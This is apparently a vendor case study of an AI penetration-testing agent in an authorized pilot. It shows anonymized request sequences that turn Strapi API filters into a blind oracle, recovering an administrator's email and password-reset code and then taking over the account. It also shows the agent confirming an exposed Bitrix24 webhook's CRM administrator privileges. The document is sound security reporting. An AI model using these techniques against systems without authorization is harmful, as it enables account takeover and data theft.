In two weeks, AI Hacker assessed the external attack surface, gained access to a CMS administrator account, and discovered an exposed CRM key. Retesting confirmed that the critical vulnerabilities were fixed.
A B2B software company is responsible for more than its own data. A successful attack on its product affects customers’ business processes and their trust in the vendor.
The attack surface changes with every release, API version, and connected service. Security therefore needs continuous assessment: spotting new risks, determining whether they can be exploited in practice, and checking that fixes work.
A large B2B software developer launched a two-week pilot of Sentra AI Hacker to assess its external attack surface and web applications.
Asset and finding counts have been changed to protect the customer’s identity. Technical scenarios and validation results are preserved.
The scope and testing boundaries were agreed before the pilot began. Over two weeks, AI Hacker analyzed 868 assets.
The assessment used a black-box approach, from an external attacker’s perspective. AI Hacker recorded 423 findings: 22 vulnerabilities of varying severity and 401 informational findings.
A Sentra expert also manually reviewed all 10 critical, high, and medium severity vulnerabilities. The most significant scenarios were validated in practice to establish the access they provided and their potential impact. The first critical findings were recorded the day after active testing began.
API routes, parameters, and technical field names in the examples have been changed. The sequence of checks and the boundaries of confirmed results are preserved.
Sentra AI HackerTest administrative access through the public Strapi API.
The public API exposes /example-api/cms/records. I will start with a baseline and a filter on editor_link.contact_address: if the hidden field participates in the query, the record count should depend on the condition even when the field itself is not returned.
dast_replayAnonymized excerptGET /example-api/cms/records
No Cookie or AuthorizationHTTP 200
match_count: N (N > 0)dast_fuzzAnonymized excerptfilters[editor_link][contact_address][$contains] = @
Control: same field, value <non-matching control>contains "@" → HTTP 200 · match_count: N (N > 0)
contains "<non-matching control>" → HTTP 200 · match_count: 0dast_replayAnonymized excerptSame Content API and editor_link relation
Replace contact_address with a nonexistent fieldHTTP 500
An unknown field differs from a valid filter with no matchesStrapi Content API: editor_link, recovery_code, startsWith, exact email comparisonA nested filter may participate in a database query even when the field is absent from the JSON response. In LIKE, the character _ is a wildcard. The recovered email must be checked using $eq; acceptance of a token filter alone does not mean a token already exists.
There is a difference between matches found → no matches, while an unknown field returns 500. The server processes the nested user field. I will check whether it accepts recovery_code: a value may be recoverable through responses even if it is never returned in JSON.
dast_replayAnonymized excerptfilters[editor_link][recovery_code][$startsWith]
Value: <candidate prefix>HTTP 200
Filter on the internal field accepteddast_replayAnonymized excerptfilters[editor_link][recovery_code][$notNull] = true
Before the account/recovery requestHTTP 200
match_count: 0Email extraction has a trap: _ in LIKE matches any character. I will verify the recovered address with $eq to avoid accepting a similar but incorrect value.
dast_fuzzAnonymized excerptTest editor_link.contact_address using $endsWith
Refine the address after ambiguous LIKE matchingCandidate email: [redacted]
Suffix match founddast_replayAnonymized excerptfilters[editor_link][contact_address][$eq] = <recovered address>HTTP 200
match_count: N (N > 0)
Exact match confirmedThe request sends an email; changing the password modifies the account. The customer approved these actions in this case.
dast_replayAnonymized excerptPOST /example-api/cms/account/recovery
{"contact_address":"[redacted]"}
Repeat recovery_code[$notNull]HTTP 204
Before recovery: match_count 0
After recovery: match_count N > 0The code now exists and is accessible through the same oracle. I will complete the approved password change and login. Further CMS vulnerabilities are a separate scope and are not part of this result.
dast_fuzzAnonymized excerptBounded recovery_code prefix testing
The recovered value is not publishedrecovery_code: [redacted]
Code passed to the approved validation stepThe approved password change and administrator login were completed. Critical vulnerabilities were retested after remediation.
An external party gains administrative CMS access
GET /example-api/cms/records
No Cookie or AuthorizationHTTP 200
match_count: N (N > 0)filters[editor_link][contact_address][$contains] = @
Control: same field, value <non-matching control>contains "@" → HTTP 200 · match_count: N (N > 0)
contains "<non-matching control>" → HTTP 200 · match_count: 0Same Content API and editor_link relation
Replace contact_address with a nonexistent fieldHTTP 500
An unknown field differs from a valid filter with no matchesfilters[editor_link][recovery_code][$startsWith]
Value: <candidate prefix>HTTP 200
Filter on the internal field acceptedfilters[editor_link][contact_address][$eq] = <recovered address>HTTP 200
match_count: N (N > 0)
Exact match confirmedfilters[editor_link][recovery_code][$notNull] = true
Before the account/recovery requestHTTP 200
match_count: 0POST /example-api/cms/account/recovery
{"contact_address":"[redacted]"}
Repeat recovery_code[$notNull]HTTP 204
Before recovery: match_count 0
After recovery: match_count N > 0Bounded recovery_code prefix testing
The recovered value is not publishedrecovery_code: [redacted]
Code passed to the approved validation stepThe approved password change and administrator login were completed. Critical vulnerabilities were retested after remediation.
Open in workflowAdministrator login was confirmed with approval. Retesting of critical vulnerabilities passed after remediation.
Administrator login confirmed after an approved password reset.
Prevent the public Content API from filtering on administrator relations and update the CMS.
Invalidate recovery codes and retest administrator access.
The chain began with CVE-2026-27886. The public API accepted filters on hidden fields and returned different responses depending on whether a value matched. AI Hacker used these differences to recover the administrator’s email address and then a password reset code.
With the customer’s approval, the password was changed and the account was accessed. Administrator account takeover was confirmed in practice.
Sentra AI HackerCheck the privileges of a webhook found in public client configuration.
Within app-bootstrap there is client_settings.crm_hook_url. The URL resembles an incoming webhook: /example-api/integration/<actor>/<key>/. I will start with actor-info without a session to check that the key is active and identify its user.
dast_get_trafficAnonymized excerptGET /
script#app-bootstrap → client_settingscrm_hook_url:
https://crm.example/example-api/integration/<actor>/[key]/Incoming Bitrix24 webhook: actor-info, permission-list, operation-list; validation without changing CRM dataactor-info identifies the webhook user, permission-list shows the allowed scope, and operation-list lists available methods. These responses must be considered together: is_admin does not replace a CRM scope check or prove that every operation was executed.
The secret is already in the path /example-api/integration/<actor>/<key>/; this access method requires no browser session. I will remove Cookie and Authorization when replaying the request so the administrator profile cannot be attributed to my own session.
dast_replayAnonymized excerptGET /example-api/integration/<actor>/[key]/actor-info
No Cookie or AuthorizationHTTP 200
{"actor_context":{"is_admin":true}}The webhook is active and the profile returned is_admin: true. Next I will check permission-list: the administrator flag alone does not establish which scopes this key can access.
dast_replayAnonymized excerptGET /example-api/integration/<actor>/[key]/permission-listHTTP 200
{"access_areas":["crm"]}dast_replayAnonymized excerptGET /example-api/integration/<actor>/[key]/operation-listHTTP 200
List of methods for this webhook retrievedcomputer_executeAnonymized excerptLocal analysis of the saved operation-list
Identify CRM object operations and batch requests; do not invoke the operationsOperations on CRM leads, deals, contacts, companies, and activities
Batch requestsThe secret is in HTML, actor-info confirms an administrator, permission-list and operation-list confirm CRM access. This is enough for the report. Creating or deleting customer objects is unnecessary to verify these privileges.
Only actor-info, permission-list, and operation-list were called. No CRM data was created, modified, or deleted.
An external visitor obtains an active integration secret with CRM access. The key must be revoked and removed from client configuration.
An external party obtains an integration key with CRM access
GET /
script#app-bootstrap → client_settingscrm_hook_url:
https://crm.example/example-api/integration/<actor>/[key]/GET /example-api/integration/<actor>/[key]/actor-info
No Cookie or AuthorizationHTTP 200
{"actor_context":{"is_admin":true}}GET /example-api/integration/<actor>/[key]/permission-listHTTP 200
{"access_areas":["crm"]}GET /example-api/integration/<actor>/[key]/operation-listHTTP 200
List of methods for this webhook retrievedLocal analysis of the saved operation-list
Identify CRM object operations and batch requests; do not invoke the operationsOperations on CRM leads, deals, contacts, companies, and activities
Batch requestsis_admin=true, access_areas=crm. Metadata methods were tested; CRM objects were not modified.
The webhook is active: actor-info returns is_admin=true and permission-list includes CRM. CRM objects were not modified.
Rotate the integration secret and review its usage.
Remove the webhook from HTML and client configuration; restrict integration privileges.
A valid Bitrix24 webhook was found in client-side configuration available to any visitor. A few metadata requests confirmed that the key was active, had administrator privileges, and provided access to CRM and its API methods.
Such a key allows CRM objects to be read and modified, creating a risk of both data disclosure and tampering. No CRM records were accessed or changed during the assessment; metadata requests were sufficient.
The customer received a detailed technical report covering:
Sentra automatically prioritized vulnerabilities based on confirmed exploitation scenarios and business risk. The customer fixed the critical vulnerabilities, and retesting confirmed that the fixes worked.
The company is now preparing to integrate Sentra AI Hacker into continuous security assessment.
